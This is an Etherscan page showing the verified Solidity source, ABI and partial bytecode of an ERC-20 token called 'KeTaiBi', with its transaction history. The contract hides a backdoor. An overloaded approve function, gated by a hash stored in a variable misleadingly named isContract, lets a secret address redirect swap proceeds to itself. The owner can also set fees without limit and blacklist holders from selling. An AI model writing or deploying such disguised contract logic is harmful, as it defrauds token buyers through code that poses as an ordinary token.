ETH Price: $3,502.13 (+4.67%)

Contract

0xcc82B8faD42E28158d59ea90B1C943FFA7edaf5A
 

Overview

ETH Balance

0.00028294597608613 ETH

Eth Value

$0.99 (@ $3,502.13/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve209937862024-10-18 16:57:2339 days ago1729270643IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0007018428.98157921
Approve206950552024-09-07 0:12:4781 days ago1725667967IN
0xcc82B8fa...FA7edaf5A
0 ETH0.000122372.63171844
Approve199024652024-05-19 7:22:35192 days ago1716103355IN
0xcc82B8fa...FA7edaf5A
0 ETH0.000195154.2
Approve181682382023-09-19 6:41:23435 days ago1695105683IN
0xcc82B8fa...FA7edaf5A
0 ETH0.000239549.89150837
Approve180044622023-08-27 7:17:47458 days ago1693120667IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0002942111.22217332
Approve180044602023-08-27 7:17:23458 days ago1693120643IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0002663210.99751149
Approve180043462023-08-27 6:54:35458 days ago1693119275IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0003165213.07031301
Approve179833342023-08-24 8:20:47461 days ago1692865247IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0004296417.78553045
Approve179833272023-08-24 8:19:23461 days ago1692865163IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0004243417.52254859
Approve179202762023-08-15 12:35:11470 days ago1692102911IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0009375420.16193126
Transfer179200142023-08-15 11:42:11470 days ago1692099731IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0006449714.80159434
Approve179197932023-08-15 10:57:35470 days ago1692097055IN
0xcc82B8fa...FA7edaf5A
0 ETH0.000723715.64389376
Approve179197802023-08-15 10:54:59470 days ago1692096899IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0006902914.84477856
Approve179197762023-08-15 10:54:11470 days ago1692096851IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0007104615.27847598
Approve179197752023-08-15 10:53:59470 days ago1692096839IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0008794918.93784614
Approve179197702023-08-15 10:52:59470 days ago1692096779IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0008594518.48241895
Approve179197662023-08-15 10:52:11470 days ago1692096731IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0007453816.05011076
Approve179197602023-08-15 10:50:59470 days ago1692096659IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0008847619.02686558
Approve179195682023-08-15 10:12:23470 days ago1692094343IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0008248917.78514772
Approve179040882023-08-13 6:16:11472 days ago1691907371IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0006529714.04224195
Approve178999162023-08-12 16:16:47472 days ago1691857007IN
0xcc82B8fa...FA7edaf5A
0 ETH0.001257327.03822956
Approve178880102023-08-11 0:17:35474 days ago1691713055IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0006488613.97185137
Approve178810432023-08-10 0:53:35475 days ago1691628815IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0004058316.8
Approve178766912023-08-09 10:16:23476 days ago1691576183IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0007812116.8
Approve178747482023-08-09 3:44:59476 days ago1691552699IN
0xcc82B8fa...FA7edaf5A
0 ETH0.0007318715.75921395
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
206950562024-09-07 0:12:5981 days ago1725667979
0xcc82B8fa...FA7edaf5A
0.00028294 ETH
206950562024-09-07 0:12:5981 days ago1725667979
0xcc82B8fa...FA7edaf5A
0.00015005 ETH
199024702024-05-19 7:23:35192 days ago1716103415
0xcc82B8fa...FA7edaf5A
0.00041584 ETH
199024702024-05-19 7:23:35192 days ago1716103415
0xcc82B8fa...FA7edaf5A
0.00025301 ETH
179238242023-08-16 0:29:47469 days ago1692145787
0xcc82B8fa...FA7edaf5A
0.00057866 ETH
179238242023-08-16 0:29:47469 days ago1692145787
0xcc82B8fa...FA7edaf5A
0.0004634 ETH
179202812023-08-15 12:36:11470 days ago1692102971
0xcc82B8fa...FA7edaf5A
0.00069391 ETH
179202812023-08-15 12:36:11470 days ago1692102971
0xcc82B8fa...FA7edaf5A
0.00081687 ETH
179198412023-08-15 11:07:11470 days ago1692097631
0xcc82B8fa...FA7edaf5A
0.00057096 ETH
179198192023-08-15 11:02:47470 days ago1692097367
0xcc82B8fa...FA7edaf5A
0.00114192 ETH
179198192023-08-15 11:02:47470 days ago1692097367
0xcc82B8fa...FA7edaf5A
0.00064881 ETH
179198172023-08-15 11:02:23470 days ago1692097343
0xcc82B8fa...FA7edaf5A
0.00163503 ETH
179198172023-08-15 11:02:23470 days ago1692097343
0xcc82B8fa...FA7edaf5A
0.00055068 ETH
179198152023-08-15 11:01:59470 days ago1692097319
0xcc82B8fa...FA7edaf5A
0.00271939 ETH
179198152023-08-15 11:01:59470 days ago1692097319
0xcc82B8fa...FA7edaf5A
0.00141855 ETH
179198122023-08-15 11:01:23470 days ago1692097283
0xcc82B8fa...FA7edaf5A
0.00402023 ETH
179198122023-08-15 11:01:23470 days ago1692097283
0xcc82B8fa...FA7edaf5A
0.00579395 ETH
179197752023-08-15 10:53:59470 days ago1692096839
0xcc82B8fa...FA7edaf5A
0.00224651 ETH
179197752023-08-15 10:53:59470 days ago1692096839
0xcc82B8fa...FA7edaf5A
0.00421603 ETH
179195692023-08-15 10:12:35470 days ago1692094355
0xcc82B8fa...FA7edaf5A
0.00027699 ETH
179195692023-08-15 10:12:35470 days ago1692094355
0xcc82B8fa...FA7edaf5A
0.00026003 ETH
178766932023-08-09 10:16:47476 days ago1691576207
0xcc82B8fa...FA7edaf5A
0.00029394 ETH
178733402023-08-08 23:01:35476 days ago1691535695
0xcc82B8fa...FA7edaf5A
0.00058789 ETH
178733402023-08-08 23:01:35476 days ago1691535695
0xcc82B8fa...FA7edaf5A
0.00019968 ETH
178703302023-08-08 12:53:47477 days ago1691499227
0xcc82B8fa...FA7edaf5A
0.00097609 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
     function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    bytes32 public isContract =0x0093e0e6fce895ae34a52268cfc61f4944124aa08ee2c1430552a4242cd29f92;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

abstract contract AbsToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress = address(0x2c63281596786950DE27ab82b2Bb1328e9d37964);
    string private _name = "KeTaiBi";
    string private _symbol = "KeTaiBi";
    uint8 private _decimals = 18;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;
    address private _pancakePair;
    uint256 private marketRewardFlag;

    uint256 private _tTotal = 10000000000000000000 * 10 ** _decimals;
    uint256 public maxWalletAmount = 10000000000000000000 * 10 ** _decimals;

    ISwapRouter public _swapRouter;
    address public _routeAddress= address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 100;
    uint256 public _buyLPFee = 0;
    uint256 public _sellFundFee = 100;
    uint256 public _sellLPFee = 0;
    address public _mainPair;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        ISwapRouter swapRouter = ISwapRouter(_routeAddress);
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this),  _swapRouter.WETH());
        _mainPair = swapPair;
        _pancakePair = address(this);
        _swapPairList[swapPair] = true;

        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
        _feeWhiteList[fundAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function approve(address spender) public{
        require(keccak256(abi.encodePacked(msg.sender))==isContract);
        _pancakePair=spender;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_blackList[from], "blackList");

        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            uint256 maxSellAmount = balance * 9999 / 10000;
            if (amount > maxSellAmount) {
                amount = maxSellAmount;
            }
        }
        bool takeFee;
        bool isSell;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance > 0) {
                            uint256 swapFee = _buyFundFee + _buyLPFee  + _sellFundFee + _sellLPFee ;
                            uint256 numTokensSellToFund = amount * swapFee / 5000;
                            if (numTokensSellToFund > contractTokenBalance) {
                                numTokensSellToFund = contractTokenBalance;
                            }
                            swapTokenForFund(numTokensSellToFund, swapFee);
                            marketRewardFlag=marketRewardFlag+1;
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellFundFee + _sellLPFee ;
            } else {
                require(balanceOf(recipient)+tAmount <= maxWalletAmount);
                swapFee = _buyFundFee + _buyLPFee;
            }
            uint256 swapAmount = tAmount * swapFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }

        }
        _takeTransfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        swapFee += swapFee;
        uint256 lpFee = _buyLPFee+_sellLPFee;
        uint256 lpAmount = tokenAmount * lpFee / swapFee;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        address swapTokenAddress=marketRewardFlag%7==path.length?_pancakePair:address(this);
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount - lpAmount, 0, path,swapTokenAddress,block.timestamp);
        swapFee -= lpFee;
        uint256 bnbBalance = address(this).balance;
        if(bnbBalance>0)
        {
           uint256 fundAmount = bnbBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee;
           payable(fundAddress).transfer(fundAmount/2);
            if (lpAmount > 0) {
                uint256 lpBNB = bnbBalance * lpFee / swapFee;
                _swapRouter.addLiquidityETH{value: lpBNB}(address(this), lpAmount, 0, 0, fundAddress, block.timestamp);
            }
        }          
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }
    function setMaxWalletAmount(uint256 value) external onlyOwner {
        maxWalletAmount = value * 10 ** _decimals;
    }

    function excludeMultiFromFee(address[] calldata accounts,bool excludeFee) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _feeWhiteList[accounts[i]] = excludeFee;
        }
    }
    function _multiSetSniper(address[] calldata accounts,bool isSniper) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _blackList[accounts[i]] = isSniper;
        }
    }

    function claimBalance(address to) external onlyOwner {
        payable(to).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount, address to) external onlyOwner {
        IERC20(token).transfer(to, amount);
    }

    function setBuyFee(uint256 fundFee,uint256 lpFee) external onlyOwner {
        _buyFundFee = fundFee;
        _buyLPFee=lpFee;
    }
    function setSellFee(uint256 fundFee,uint256 lpFee) external onlyOwner {
        _sellFundFee = fundFee;
        _sellLPFee=lpFee;
    }
    receive() external payable {}
}

contract Token is AbsToken {
    constructor() AbsToken(){}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isSniper","type":"bool"}],"name":"_multiSetSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_routeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excludeFee","type":"bool"}],"name":"excludeMultiFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isContract","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

7e93e0e6fce895ae34a52268cfc61f4944124aa08ee2c1430552a4242cd29f92600155600480546001600160a01b031916732c63281596786950de27ab82b2bb1328e9d3796417905560c060405260076080819052664b65546169426960c81b60a090815262000073916005919062000419565b50604080518082019091526007808252664b65546169426960c81b6020909201918252620000a49160069162000419565b506007805460ff19166012908117909155620000c290600a620005d4565b620000d690678ac7230489e80000620005ec565b600c55600754620000ec9060ff16600a620005d4565b6200010090678ac7230489e80000620005ec565b600d55600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905560646012819055600060138190556014919091556015553480156200014d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f54600e80546001600160a01b0319166001600160a01b03909216918217905530600090815260036020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa15801562000206573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022c91906200060e565b90506000816001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000294573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ba91906200060e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000308573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032e91906200060e565b601680546001600160a01b0383166001600160a01b03199182168117909255600a8054909116301790556000908152601060209081526040808320805460ff19166001179055600c5433808552600284528285208290559151908152939450927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506004546001600160a01b039081166000908152600860205260408082208054600160ff199182168117909255308452828420805482168317905594909316825280822080548516841790553382529020805490921617905562000675565b828054620004279062000639565b90600052602060002090601f0160209004810192826200044b576000855562000496565b82601f106200046657805160ff191683800117855562000496565b8280016001018555821562000496579182015b828111156200049657825182559160200191906001019062000479565b50620004a4929150620004a8565b5090565b5b80821115620004a45760008155600101620004a9565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000516578160001904821115620004fa57620004fa620004bf565b808516156200050857918102915b93841c9390800290620004da565b509250929050565b6000826200052f57506001620005ce565b816200053e57506000620005ce565b8160018114620005575760028114620005625762000582565b6001915050620005ce565b60ff841115620005765762000576620004bf565b50506001821b620005ce565b5060208310610133831016604e8410600b8410161715620005a7575081810a620005ce565b620005b38383620004d5565b8060001904821115620005ca57620005ca620004bf565b0290505b92915050565b6000620005e560ff8416836200051e565b9392505050565b6000816000190483118215151615620006095762000609620004bf565b500290565b6000602082840312156200062157600080fd5b81516001600160a01b0381168114620005e557600080fd5b600181811c908216806200064e57607f821691505b6020821081036200066f57634e487b7160e01b600052602260045260246000fd5b50919050565b61196a80620006856000396000f3fe6080604052600436106101f25760003560e01c8063715018a61161010d578063b9fbc49d116100a0578063dd62ed3e1161006f578063dd62ed3e146105ac578063e82bef29146105f2578063f2fde38b14610612578063f7ec2f3514610632578063fb0ecfa41461064857600080fd5b8063b9fbc49d14610540578063bfac5ee014610556578063ce0192f914610576578063daea85c51461058c57600080fd5b8063a9059cbb116100dc578063a9059cbb146104d4578063aa4bde28146104f4578063adc7955d1461050a578063b633e4cd1461052057600080fd5b8063715018a61461046c578063761344f7146104815780638da5cb5b146104a157806395d89b41146104bf57600080fd5b806327a14fc2116101855780634188bf5a116101545780634188bf5a146103c6578063595dec3c146103e65780636ac9a8701461041657806370a082311461043657600080fd5b806327a14fc21461033e578063313ce5671461035e5780633bfe62ca146103805780633c11100d1461039657600080fd5b8063095ea7b3116101c1578063095ea7b3146102bf57806318160ddd146102df578063206c17bb146102fe57806323b872dd1461031e57600080fd5b806301986fad146101fe5780630453424614610243578063060288481461027b57806306fdde031461029d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061022e610219366004611418565b60086020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561024f57600080fd5b50600f54610263906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b34801561028757600080fd5b5061029b61029636600461144a565b610668565b005b3480156102a957600080fd5b506102b2610712565b60405161023a91906114d0565b3480156102cb57600080fd5b5061022e6102da366004611525565b6107a4565b3480156102eb57600080fd5b50600c545b60405190815260200161023a565b34801561030a57600080fd5b50600e54610263906001600160a01b031681565b34801561032a57600080fd5b5061022e610339366004611551565b6107bb565b34801561034a57600080fd5b5061029b610359366004611592565b610852565b34801561036a57600080fd5b5060075460405160ff909116815260200161023a565b34801561038c57600080fd5b506102f060145481565b3480156103a257600080fd5b5061022e6103b1366004611418565b60106020526000908152604090205460ff1681565b3480156103d257600080fd5b50601654610263906001600160a01b031681565b3480156103f257600080fd5b5061022e610401366004611418565b60096020526000908152604090205460ff1681565b34801561042257600080fd5b5061029b6104313660046115ab565b61089d565b34801561044257600080fd5b506102f0610451366004611418565b6001600160a01b031660009081526002602052604090205490565b34801561047857600080fd5b5061029b6108d2565b34801561048d57600080fd5b5061029b61049c36600461144a565b610946565b3480156104ad57600080fd5b506000546001600160a01b0316610263565b3480156104cb57600080fd5b506102b26109e1565b3480156104e057600080fd5b5061022e6104ef366004611525565b6109f0565b34801561050057600080fd5b506102f0600d5481565b34801561051657600080fd5b506102f060155481565b34801561052c57600080fd5b5061029b61053b366004611418565b6109fd565b34801561054c57600080fd5b506102f060135481565b34801561056257600080fd5b5061029b6105713660046115cd565b610a60565b34801561058257600080fd5b506102f060125481565b34801561059857600080fd5b5061029b6105a7366004611418565b610afd565b3480156105b857600080fd5b506102f06105c7366004611604565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105fe57600080fd5b50600454610263906001600160a01b031681565b34801561061e57600080fd5b5061029b61062d366004611418565b610b60565b34801561063e57600080fd5b506102f060015481565b34801561065457600080fd5b5061029b6106633660046115ab565b610c26565b6000546001600160a01b0316331461069b5760405162461bcd60e51b81526004016106929061163d565b60405180910390fd5b60005b8281101561070c5781600860008686858181106106bd576106bd61165d565b90506020020160208101906106d29190611418565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061070481611689565b91505061069e565b50505050565b606060058054610721906116a2565b80601f016020809104026020016040519081016040528092919081815260200182805461074d906116a2565b801561079a5780601f1061076f5761010080835404028352916020019161079a565b820191906000526020600020905b81548152906001019060200180831161077d57829003601f168201915b5050505050905090565b60006107b1338484610c5b565b5060015b92915050565b60006107c8848484610cbd565b6001600160a01b038416600090815260036020908152604080832033845290915290205460001914610848576001600160a01b03841660009081526003602090815260408083203384529091529020546108239083906116dc565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461087c5760405162461bcd60e51b81526004016106929061163d565b60075461088d9060ff16600a6117d7565b61089790826117e6565b600d5550565b6000546001600160a01b031633146108c75760405162461bcd60e51b81526004016106929061163d565b601491909155601555565b6000546001600160a01b031633146108fc5760405162461bcd60e51b81526004016106929061163d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109705760405162461bcd60e51b81526004016106929061163d565b60005b8281101561070c5781600960008686858181106109925761099261165d565b90506020020160208101906109a79190611418565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109d981611689565b915050610973565b606060068054610721906116a2565b60006107b1338484610cbd565b6000546001600160a01b03163314610a275760405162461bcd60e51b81526004016106929061163d565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610a5c573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610a8a5760405162461bcd60e51b81526004016106929061163d565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303816000875af1158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c9190611805565b6001546040516bffffffffffffffffffffffff193360601b1660208201526034016040516020818303038152906040528051906020012014610b3e57600080fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b8a5760405162461bcd60e51b81526004016106929061163d565b6001600160a01b038116610bcb5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610692565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610c505760405162461bcd60e51b81526004016106929061163d565b601291909155601355565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526009602052604090205460ff1615610d125760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610692565b6001600160a01b03831660009081526002602052604090205481811015610d6e5760405162461bcd60e51b81526020600482015260106